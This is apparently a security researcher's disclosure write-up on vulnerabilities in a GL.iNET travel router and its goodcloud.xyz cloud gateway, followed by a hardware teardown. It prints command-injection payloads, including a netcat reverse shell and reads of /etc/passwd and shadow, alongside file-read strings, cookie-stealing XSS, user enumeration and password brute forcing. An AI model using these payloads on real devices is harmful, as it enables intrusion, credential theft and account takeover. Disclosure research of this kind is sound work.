As a hobbyist fascinated by the inner workings of budget-friendly IoT devices, I embarked on a personal project in May 2022, acquiring around 15 inexpensive gadgets from online marketplaces like Amazon and AliExpress. Among them was a compact portable router from GL.iNET, a company recognized for its OpenWrt Wi-Fi and IoT network solutions. Operating from Hong Kong and the USA, GL.iNET offers a diverse product range, as detailed on their official website www.gl-inet.com. My focus was drawn to the GL-MT300N-V2, specifically firmware version V3.212 (Mango model, released April 29th, 2022) and the goodcloud remote cloud management gateway, version 1.00.220412.00.
This article is divided into two main sections. The first part will detail the software vulnerabilities I discovered, affecting both the local web application and the remote cloud services. The second part will cover my attempts at a hardware teardown of the device.
Before diving in, I want to commend GL.iNET for their exceptional responsiveness and commitment to security. Their team was communicative and proactive throughout the vulnerability disclosure and patching process. It’s refreshing to work with a vendor so dedicated to product security.
My testing period extended intermittently from May 2nd to June 15th, 2022. After reporting an initial command injection vulnerability, GL.iNET inquired about potential compensation for further bug hunting. We ultimately agreed on public disclosure and this blog post in exchange for continued testing access. This agreement fostered a collaborative environment of good faith. Furthermore, GL.iNET provided their GL-AX1800 / Flint router for extended testing. It’s important to note that while GL.iNET doesn’t have a formal Bug Bounty Program (BBP) or Vulnerability Disclosure Program (VDP), they granted me explicit permission for my security research. Therefore, it’s crucial to seek permission before conducting security testing on their infrastructure to avoid any misinterpretations.
It’s important to remember that vulnerability disclosure is not a sign of failure but a part of the continuous improvement cycle in development and security. Innovation inherently involves risk, and vulnerabilities are an inevitable aspect of pushing boundaries.
Vulnerabilities Discovered
In total, my research uncovered six distinct vulnerabilities in GL.iNet routers and their cloud gateway web applications:
1. OS Command Injection on Router & Cloud Gateway (CVE-2022-31898)
2. Arbitrary File Read on Router via Cloud Gateway (CVE-2022-42055)
3. PII Data Leakage via User Enumeration Leading to Account Takeover
4. Account Takeover via Stored Cross-Site Scripting (CVE-2022-42054)
5. Account Takeover via Weak Password Requirements & Lack of Rate Limiting
6. Password Policy Bypass Leading to Single Character PasswordsWeb Application Vulnerabilities
OS Command Injection
The MT300N-V2 portable router is susceptible to an OS Command Injection vulnerability. This flaw allows authenticated attackers to execute arbitrary operating system commands on the device with the privileges of the web application user. This vulnerability is present in both the local web interface and the remote cloud interface. The root cause is insufficient input validation on the ping_addr and trace_addr parameters used in ping and traceroute functionalities. This vulnerability impacts ALL GL.iNET firmware versions prior to 3.2.15.
Resolution: This issue was addressed in firmware Version 3.215, stable build SHA256: 8d761ac6a66598a5b197089e6502865f4fe248015532994d632f7b5757399fc7.
Vulnerability Details
CVE ID: CVE-2022-31898
Access Vector: Remote/Adjacent
Security Risk: High
Vulnerability: CWE-78
CVSS Base Score: 8.4
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:HLet’s walk through the discovery process. The file /www/src/router/router.js on the router manages the web application panels, acting as a kind of endpoint directory. When a path like /attools is accessed, the associated .js, .html, and .css files for that feature are loaded.
By examining this endpoint structure, I found that many panels were not directly accessible through the standard web UI sidebar.
However, these hidden endpoints were functional and correctly configured, just lacking a visible button or link in the UI to navigate to them.
Here are a few examples of endpoints not accessible via the default web UI:
http://192.168.8.1/#/pingIt’s worth noting that some of these endpoints might become available when specific devices, like modems, are connected to the router. Refer to the official documentation https://docs.gl-inet.com/ for more information.
The ping endpoint caught my attention due to the inherent security risks often associated with ping and traceroute functionalities. I confirmed that the /ping actions were indeed being called as defined in router.js.
The expected interface and output of the ping functionality are shown below.
What is OS Command Injection? OS command injection is a common vulnerability in web applications, particularly in features like ping utilities. It occurs when an attacker can inject operating system commands into user-supplied input fields. This is often achieved using command separators like |, &&, or ;, allowing the execution of multiple commands sequentially, regardless of the success of preceding commands.
Looking at the ping feature’s frontend code, I observed input sanitization using a regular expression designed to validate IPv4 addresses.
Characters like ; are not part of a valid IPv4 address. Therefore, the pingIP() validation check should block malicious input.
And indeed, attempting to use invalid characters through the UI results in an error message.
To bypass this frontend sanitization, we can directly send a POST request to the web server using tools like Burp Suite. This allows us to manipulate the request parameters without the frontend checks being enforced. By using the ; command separator within the ping_addr or trace_addr parameters, we can attempt command injection. The following diagram visually explains the concept.
Image Credit: I‘m on Your Phone, Listening – Attacking VoIP Configuration Interfaces
Let’s put this to the test. In the POST request below, the ping_addr value is set to ;/bin/pwd%20. This command successfully returned the present working directory of the application user, confirming successful OS Command Injection.
Next, let’s try reading the /etc/passwd file using the input ;/bin/cat /etc/passwd 2>&1.
To escalate this further, we can attempt to obtain a reverse shell.
Payload: ;rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 192.168.8.193 4000 >/tmp/f
URL encoded: ;rm%20/tmp/f;mknod%20/tmp/f%20p;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|/usr/bin/nc%20192.168.8.193%204000%20>%20tmp%20f
While effective, this attack scenario requires being on the same network and authenticated to the router’s web interface. However, the real significance of this vulnerability emerges when considering GL.iNET’s IoT cloud gateway. This cloud platform enables remote deployment and management of connected GL.iNET devices.
I discovered approximately ~30,000 devices configured to use this cloud gateway. A key feature of this management portal is the ability to remotely access a device’s admin panel through a public-facing endpoint.
As anticipated, the command injection vulnerability is also exploitable through this remote cloud endpoint.
Theoretically, an attacker who compromises goodcloud.xyz user sessions or gains unauthorized access to a user account (both scenarios achieved and detailed later in this article) could leverage this command injection vulnerability to establish a foothold within a target network.
Further exploitation could include:
Internal network scanning: GET /cgi-bin/api/repeater/scan
Obtaining WiFi passwords of connected SSIDs: GET /cgi-bin/api/repeater/manager/list
Obtaining WiFi passwords of the router's SSIDs: GET /cgi-bin/api/ap/infoDisclosure Timeline
May 2, 2022: Initial discovery
May 2, 2020: Vendor contacted (Note: Typo in original, likely meant 2022)
May 3, 2022: Vulnerability reported to the vendor
May 10, 2022: Vulnerability confirmed by the vendor
July 6, 2022: CVE reserved
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215
Arbitrary File Read
The MT300N-V2 router, when configured with GL.iNET’s cloud management gateway (goodcloud.xyz), is also vulnerable to Arbitrary File Read. This remote cloud gateway, designed for remote device access and management, exposes this vulnerability through its web interface, specifically within the device editing tools available to enterprise users. The ping and traceroute functionalities within this interface are vulnerable to a limited form of command injection, restricted to arbitrary file reads. Successful exploitation allows an attacker to access sensitive files and data on the router, including application source code, configurations, and critical system files.
Vulnerability Details
CVE ID: CVE-2022-42055
Access Vector: Remote
Security Risk: Medium
Vulnerability: CWE-23 & CWE-25
CVSS Base Score: 6.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NEnterprise users accessing their devices through the cloud management interface will find a “TOOLS” menu in the device editing section.
Both the ping_addr and trace_addr parameters can be exploited to read any file on the router’s filesystem by prepending ;/bin/sh to the desired file path.
The exact reason for this behavior is unclear. While I could trigger file reads, I was unable to achieve full command injection. This might be due to how ping and traceroute are invoked via busybox, potentially through a mechanism similar to an ngrok tunnel. Standard command delimiters or escape sequences to comment out subsequent operations did not work. Valid payloads for file reads would resemble:
;bin/sh%20/<path_to_file>
&bin/sh%20/</path_to_file>As a proof of concept, I created a file named flag.txt in the /tmp directory of my router and successfully read its contents through the cloud gateway. Similarly, sensitive files like passwd and shadow could be accessed. Offline cracking of these files would grant access to both the cloud SSH terminal and the web login UI.
Interestingly, these file read attempts are logged within the cloud gateway logs, indicating a lack of operational security (“OPSEC”) consciousness.
Disclosure Timeline
May 25, 2022: Initial discovery
May 25, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215
PII Data Leakage & User Enumeration
The MT300N-V2 router, when used with GL.iNET’s cloud management gateway (goodcloud.xyz), suffered from a PII Data Leakage and User Enumeration vulnerability. This flaw resided in the cloud manager web interface, specifically in the device-sharing endpoint cloud-api/cloud/user/get-user?nameoremail=, accessible via a GET request. Successful user enumeration through this endpoint exposed Personally Identifiable Information (PII). At its core, this was a form of Insecure Direct Object Reference (IDOR). This vulnerability affected goodcloud.xyz prior to May 12th, 2022.
Vulnerability Details
CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-200 & CWE-203
CVSS Base Score: 6.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NI identified approximately ~30,000 potentially vulnerable users through username or email enumeration. Successful enumeration compromised user confidentiality by disclosing sensitive information that could be exploited by attackers to compromise user accounts.
This attack is initiated after creating a regular goodcloud.xyz account and linking a GL.iNet device. The device sharing feature allows sharing access with other registered users.
The request and response for sharing a device are shown below.
Performing a get-user request for an existing user disclosed the following account information:
- company name
- account creation time
- credential's salt (string+MD5)
- account email
- account user ID
- last login time
- nickname
- password hash (MD5)
- phone number
- password salt (MD5)
- secret key
- security value (boolean)
- status value (boolean)
- account last updated time
- application user id
- usernameWhile the password hash appeared to be MD5 HMAC, the exact formatting and order were not determined. However, the volume of disclosed information significantly increased the likelihood of successfully cracking user credentials. An example of a successful enumeration request is shown below.
Furthermore, no rate-limiting mechanisms were in place for device sharing, making it straightforward to enumerate a large number of valid application users using tools like Burp Suite Intruder.
Another observation, although speculative and not confirmed with the vendor, was the presence of a secret value associated with some user accounts. I suspect this secret might be related to the 2FA QR code generation mechanism, potentially used in a URL structure like:
This remains unconfirmed speculation.
GL.iNET responded swiftly to this vulnerability, implementing a fix within 12 hours of reporting, as shown below.
Disclosure Timeline
May 11, 2022: Initial discovery
May 11, 2022: Vendor contacted & vulnerability reported
May 11, 2022: Vendor confirms vulnerability
May 12, 2022: Vendor patched the vulnerability
Stored Cross-Site Scripting
The MT300N-V2 router, when integrated with the cloud management configuration gateway (goodcloud.xyz), was found vulnerable to Stored Cross-Site Scripting (XSS). Multiple user input fields lacked proper sanitization, leading to this vulnerability. Exploiting this against an enterprise account through “Sub Account” invitations could result in account takeover of invited sub-accounts.
Vulnerability Details
CVE ID: CVE-2022-42054
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-79
CVSS Base Score: 8.7
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:HThe vulnerable input fields are located within the “Group Lists” panel, where users can create and modify groups.
The “Company” and “Description” fields within group creation are susceptible to XSS. Proof-of-concept payloads used were:
<img alt="" src="http://x">or
<img alt="" src="http://x"></img>Once a group with a malicious payload is saved, the XSS triggers whenever a user logs in, switches regions (Asia Pacific, America, Europe), or changes organizations. This occurs because the application uses a listQuery key to fetch group data, including the vulnerable “company” and “description” fields.
While this XSS is present, its impact is limited for regular user accounts. Exploitation requires sharing a device with a group containing malicious “company” and “description” fields with another user.
Even with the patch for the PII and User Enumeration vulnerability, User IDs could still be enumerated, which is necessary for sending device sharing invitations. An attacker with a regular user account could create a malicious group, invite a victim, and potentially steal their session upon the victim’s login.
However, a user who is simply a member of a shared group does not trigger the XSS because their “frontend” does not render the malicious group fields.
Enterprise Account Takeover: The real risk arises with business/enterprise accounts. Enterprise accounts offer “Sub Account” features, allowing administrators to invite staff/employees into their management console/organization. If a user accepts a “subAccount” invitation from a malicious enterprise account, they become part of that organization, and the stored XSS can be leveraged to hijack their session cookies.
The “Subscription Account” panel allows inviting users via email to become sub-accounts.
Upon invitation, the victim user receives an email.
Let’s illustrate with an example:
- User A (attacker):
boschko(red highlights) - User B (victim):
boschko1(green highlights)
- Step 1: Attacker
boschkocreates a malicious company group with XSS payloads in the “company name” and “description” fields. - Step 2: Attacker
boschkoinvites victimboschko1to this malicious company as a sub-account. - Step 3: Upon
boschko1accepting the invitation and logging in, the XSS triggers, allowingboschkoto stealboschko1‘s session cookies.
In this scenario, boschko owns the company/organization “test” and the malicious “Group List” “happy company” within “test”.
boschko1 receives and accepts the invitation from boschko to join the “test” organization, being granted “Deployment Operator” access.
When boschko1 logs in, they see two workspaces: their personal “boschko1 (mine)” and the invited “test” organization.
Switching to the “boschko1 (mine)” workspace, no XSS is triggered, even if devices are shared.
However, upon switching to the “test” organization owned by boschko via “Switch Teams,” the malicious “company” and “description” fields are rendered, triggering the stored XSS when the listQuery action is executed.
The attacker, boschko, creates a group with malicious “company” and “description” names containing the XSS payload:
<img alt="" src="http://x">Using a webhook service like webhook.site, the attacker can capture cookies. The malicious JavaScript within the “company” and “description” fields will send boschko1‘s session cookies to the attacker’s webhook URL when boschko1 logs into the “test” organization.
As shown below, requests containing boschko1‘s session cookies are received by the webhook.
These stolen session cookies can then be used to hijack the boschko1 account.
GL.iNET addressed this vulnerability by July 15th with robust input filtering. Attempts to bypass the patch using techniques like U+FF1C and U+FF1E, keyword filtering variations, substrings, and array methods were unsuccessful.
Disclosure Timeline
May 12, 2022: Initial discovery
May 12, 2022: Vendor contacted & vulnerability reported
May 13, 2022: Vendor confirms vulnerability
May 19, 2022: Contact vendor about enterprise user impact
July 7, 2022: Follow up with the vendor
July 15, 2022: Vendor patched the vulnerability
Weak Password Requirements & No Rate Limiting
The GL.iNET MT300N-V2 router, when connected to the goodcloud.xyz cloud management gateway, suffered from weak password requirements and a lack of login rate limiting. Goodcloud.xyz account passwords only required a minimum of 6 characters with no complexity requirements (uppercase, special characters, etc.). Combined with the absence of rate limiting on login attempts, this made brute-forcing user accounts extremely easy, leading to potential account takeover.
Vulnerability Details
CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-521
CVSS Base Score: 9.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:NAs shown, creating a goodcloud.xyz account only mandated a password length of 6 characters or more, without enforcing any password complexity.
The lack of rate limiting on login attempts allowed for trivial brute-force attacks using tools like Burp Suite Intruder.
The image below demonstrates the successful password recovery of a sprayed user account.
In total, I successfully recovered passwords for 33 application users. For ethical reasons, these credentials were not tested for UI login but were reported to GL.iNET.
Disclosure Timeline
May 18, 2022: Initial discovery
May 24, 2022: Vendor contacted & vulnerability reported
May 24, 2022: Vendor confirms vulnerability
June 7, 2022: Vendor implements rate-limiting, patching the vulnerability
Password Policy Bypass
The GL.iNET MT300N-V2 router, and its cloud management gateway goodcloud.xyz, also had a Password Policy Bypass vulnerability. While password complexity requirements were enforced on the account signup page, they were inconsistently applied to the password reset page. This inconsistency, coupled with the previously mentioned lack of rate limiting, further weakened the security posture of user accounts.
Vulnerability Details
CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-521
CVSS Base Score: 6.7
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:NThe password reset policy was not synchronized with the registration and password change policies. This allowed bypassing the 6-character minimum password length requirement, even down to a single character password. Best practices dictate enforcing alphanumeric and special character requirements with a minimum length of around eight characters. Additionally, preventing users from reusing previously used passwords enhances security.
Through the UI, password changes are subject to client-side checks to enforce password policy.
However, by intercepting the request in Burp Suite, it’s possible to bypass these client-side checks and set a single-character password.
The modified request successfully sets the password for the boschko user to “1”. The subsequent login request using this single-character password is also successful.
Disclosure Timeline
May 26, 2022: Initial discovery
May 26, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
July 15, 2022: Vulnerability has been patched
Additional Interesting Findings
Beyond the identified vulnerabilities, I encountered some interesting aspects of the router’s configuration that, while not vulnerabilities themselves, are worth noting.
One area of interest is Access Control Lists (ACLs) for Remote Procedure Calls (RPC). Proper access control over RPC invocations is crucial for security. These methods should be strictly regulated. More information on this can be found on the Ubus-Wiki.
OpenWrt, once installed, generates a list of RPC invocation methods defined in the ACL configuration file /usr/share/rpcd/acl.d/luci-base.json. A snippet of this file is shown below:
...
"luci-access": {
"description": "Grant access to basic LuCI procedures",
"read": {
"cgi-io": [ "backup", "download", "exec" ],
"file": {
"/": [ "list" ],
"/*": [ "list" ],
"/dev/mtdblock*": [ "read" ],
"/etc/crontabs/root": [ "read" ],
"/etc/dropbear/authorized_keys": ["read"],
"/etc/filesystems": [ "read" ],
"/etc/rc.local": [ "read" ],
"/etc/sysupgrade.conf": [ "read" ],
"/etc/passwd": [ "read" ],
"/etc/group": [ "read" ],
"/proc/filesystems": [ "read" ],
...
"write": {
"cgi-io": [ "upload" ],
"file": {
"/etc/crontabs/root": [ "write" ],
"/etc/init.d/firewall restart": ["exec"],
"/etc/luci-uploads/*": [ "write" ],
"/etc/rc.local": [ "write" ],
"/etc/sysupgrade.conf": [ "write" ],
"/sbin/block": [ "exec" ],
"/sbin/firstboot": [ "exec" ],
"/sbin/ifdown": [ "exec" ],
...While not an expert in this area, the defined methods appear to be reasonably controlled. File namespace methods are not simply “allow all” ("file": [ "*" ]), which, if present, would be a significant vulnerability.
rpcd also has a defined user in /etc/config/rpcd that is used for the management interface. This user is employed to execute code through numerous exposed rpcd methods.
Using these credentials, it’s possible to log in and access a wide range of callable methods, obtaining a ubus_rpc_session.
This ubus_rpc_session value is then used to call other methods defined in the ACL configuration files.
While it might initially appear to grant Remote Code Execution (RCE), /etc/passwd is explicitly defined with read permissions in the luci-base.json ACL configuration file.
Attempting to read other files results in a failed operation.
This observation, while not a vulnerability, is an interesting aspect of the router’s security configuration.
Hardware Teardown
Now, let’s shift focus to the intended hardware exploration. The GL-MT300N router’s external appearance is unremarkable.
It features a USB port, two Ethernet ports (LAN & WAN), a reset button, and a mode switch. Let’s open it up and examine the internal hardware components.
Immediately, several key components are visible: a System on a Chip (SoC), SPI flash memory, and SD RAM. A serial port and what appears to be JTAG, and almost certainly UART, are also present.
The primary chipset is a MediaTek MT7628NN, described as a “router on a chip”. The datasheet indicates it functions as the CPU and supports entry-level AP/router requirements.
The chip diagram shows communication interfaces for UART, SPI, and I2C, essential for data transfer. This confirms the presence of a serial console for debugging, which, if enabled, could provide shell access to the running system.
The second chip is a Macronix MX25L12835F SPI flash chip. This is the target for firmware extraction, as serial flash memory typically stores configuration settings, file systems, and firmware for devices lacking other storage. No other storage devices are apparent on the board.
The final chip is an Etron Technology EM68C16CWQG-25H SD RAM, providing the device’s runtime memory.
Connecting to UART
Let’s briefly discuss UART. Universal Asynchronous Receiver/Transmitter (UART) is used for serial data communication with devices. It’s commonly employed for firmware updates, debugging, and direct system interaction, similar to opening a terminal in Linux. UART communication uses two wires: a transmitter (TX) and a receiver (RX). To establish communication between two UART devices, the TX of one device connects to the RX of the other, and vice versa. Fortunately, I had my Flipper Zero available for this task.
For a more detailed explanation of UART, refer to my blog post on hacking a fertility sperm tester. Connecting the Flipper Zero to the router’s UART pads is straightforward.
The resulting connection setup is shown here.
As a macOS user, connecting the Flipper Zero via USB mounts it as /dev/cu.usbmodemflip*. To connect to the UART, I used the command:
screen /dev/cu.usbmodemflip* 115200After running this command and powering on the router, serial output appeared, confirming successful UART connection.
As you can see, a root shell was obtained. Unprotected root access via UART is technically a vulnerability (CWE-306). Connecting to the UART port directly provides a root shell and access to the unauthenticated Das U-Boot BIOS shell. While this is not uncommon in embedded devices, UART is often secured in production devices. However, exploitation requires physical access, device disassembly, and connecting wires to RX, TX, and GND pads on the logic board. GL.iNET is aware of this and, to my knowledge, does not intend to patch it, considering the limited real-world impact due to the physical access requirement.
I believe that assigning CVEs to unprotected UART access is often unwarranted. The attack necessitates physical presence, potentially in secure locations, and hardware manipulation. While disabling hardware debugging interfaces in final products is a good practice, the presence of unprotected UART, especially when physical access is required, is often a vendor’s risk assessment decision and not necessarily a critical vulnerability deserving of a CVE.
Returning to the teardown, if UART access were not available, obtaining a shell from U-Boot would be a viable alternative. Several techniques exist for this, two of which are covered in my previous blog post, Thanks Fo’ Nut’in – Hacking YO’s Male Fertility Sperm Test, and won’t be repeated here.
Leveraging the SPI Flash
Even with an active serial console, if shell access were unattainable via UART or U-Boot, the next step would be firmware extraction from the SPI flash chip.
The objective is to read the firmware directly from the chip. Options include using SOIC8 clips and a universal bus interface device, desoldering the chip and using an EPROM reader/writer, or connecting it to a protoboard. I prefer using SOIC8 clips for on-board reading.
At minimum, a hardware tool capable of SPI interface communication is required. The Attify Badge is a versatile option, supporting SPI, UART, JTAG, I2C, and GPIO. Alternatives include professional EPROM programmers, Bus Pirate, BeagleBone, Raspberry Pi, etc.
The pinout for the Macronix MX25L12835F flash chip is available in its datasheet.
Connect the Attify Badge to the chip according to the diagram.
However, after two nights of attempts, firmware dumping failed. Using Bus Pirate, Shikra, Attify, and a BeagleBone Black, I could not read the data or even identify the chip with Flashrom. Pinouts were verified against the datasheet, and Flashrom supports this chip.
Attempting to dump the firmware produced the following error.
The likely cause is contention for the SPI bus with the MediaTek MT7628NN chip. The router is receiving master connections from both the Attify Badge and the onboard MCU, with the MCU taking precedence. Intercepting, shorting, or stopping the MCU communication to prioritize the Attify Badge was unsuccessful. A potential workaround, holding the reset button during flash reading, was also attempted for hours without success. The Attify Badge, being already powered on, might theoretically take SPI bus master precedence when the router is reset, but this did not work in practice. USB adapter issues on a MacBook Pro could also be contributing to the problem.
Facing this impasse, “off-chip” firmware dumping became the next option. Desoldering the SPI chip and using a chip reprogrammer is a viable alternative.
My desoldering setup was basic, lacking a hot air station or PDC mount, relying on a heat gun.
The goal is to heat the solder joints sufficiently for chip removal using tweezers without component damage. This is challenging with a basic heat gun setup. Uneven heating of the PCB can cause issues. Applying hot air to a room temperature PCB diffuses heat to colder areas, making targeted heating inefficient. Increasing heat intensity can be risky, creating thermal stress, temperature gradients, and potential mechanical stress, damaging the board and components. My setup, lacking a heat gun mounting jig for distance control and high-temperature tape for component protection, is prone to these errors.
However, for small components, a preheating temperature around 250°C is usually sufficient.
After several minutes, the chip was removed. Unfortunately, a small shielded inductor or resistor near the SPI chip was dislodged by the heat during chip removal. Reattaching this component was unsuccessful. As a non-EE, the exact impact of this missing component is unclear.
The desoldered SPI chip was then mounted onto a SOP8 socket, which connects to a chip reprogrammer. The memory orientation in the adapter is shown below.
This chip reprogrammer is also a basic model, requiring driver signature enforcement disabling and manual driver installation. Chip options were configured for Macronix MX25L12835F.
However, reading the chip with the reprogrammer also failed. After further debugging, including soldering the SOP socket to a board and relaying connections to the reprogrammer, the issue persisted.
Eventually, the SPI chip was re-soldered to the router PCB, but the device was now bricked. The exact point of failure remains uncertain.
Despite the hardware hacking setback, the firmware can still be analyzed. The UART logs revealed squashfs information, and unsigned firmware images are available on the vendor’s website here. The steps to extract the filesystem from a successfully dumped firmware image are shown below.
Checking for hardcoded credentials in the firmware revealed none.
The UBI reader also indicated an extra data block at the end of the image, which, along with other areas, could potentially contain executable code.
While the hardware hacking aspect of this project was not fully successful, lessons were learned.
Addressing the question of preventing basic IoT hardware vulnerabilities: it is both feasible and worthwhile. Hardware obfuscation and security measures, implemented early in product development, can significantly enhance security. Unlike software controls, hardware security is often less time-constrained to implement. If JTAG, UART, and ICSP connectors were less obvious, it would have increased the effort and potentially deterred further hardware analysis.
Hardware obfuscation is relatively straightforward to implement. Some remediation and hardware security enhancement ideas include:
-
PCB Silkscreen Removal: Eliminate markings, logos, and symbols from the PCB silkscreen. Detailed board diagrams are unnecessary, especially in production.
-
Trace Hiding: Make PCB traces less visible by obscuring the solder mask (the green areas). Obvious traces simplify reverse engineering.
-
Hardware-Level Tamper Protection: Implement hardware or software fuses to prevent firmware readout, although these can often be bypassed.
-
Debugging Interface Removal: Remove test pins, probe pads, and debugging connections from production devices. On-site debugging is rare for consumer devices; replacements are typically provided for malfunctions. Why leave debug interfaces enabled in production?
- Buried/Blind Vias: If vias are used as test points (for easier multimeter/scope probe access), utilize buried or blind vias. The cost of additional PCB layers for this is minimal.
- Chipset Marking Removal: Remove markings from chipsets. Identifying unmarked chips significantly increases reverse engineering time and effort.
- Tamper-Proof Cases/Sensors/Screws: Employ tamper-proof cases, sensors (photodiode detectors), or one-way screws to deter physical tampering. While bypassable, these measures increase attacker motivation hurdles.
For further reading on hardware obfuscation, consult these publications:
1. https://arxiv.org/pdf/1910.00981.pdf
2. https://swarup.ece.ufl.edu/papers/J/J48.pdfSummary
I hope you found this exploration of GL.iNET travel router security and hardware interesting. Follow me on Twitter for more content. Engaging with IoT device security and hardware is a rewarding learning experience. I highly recommend purchasing inexpensive IoT devices and exploring their inner workings – you never know what you might discover!
Thank you for reading!
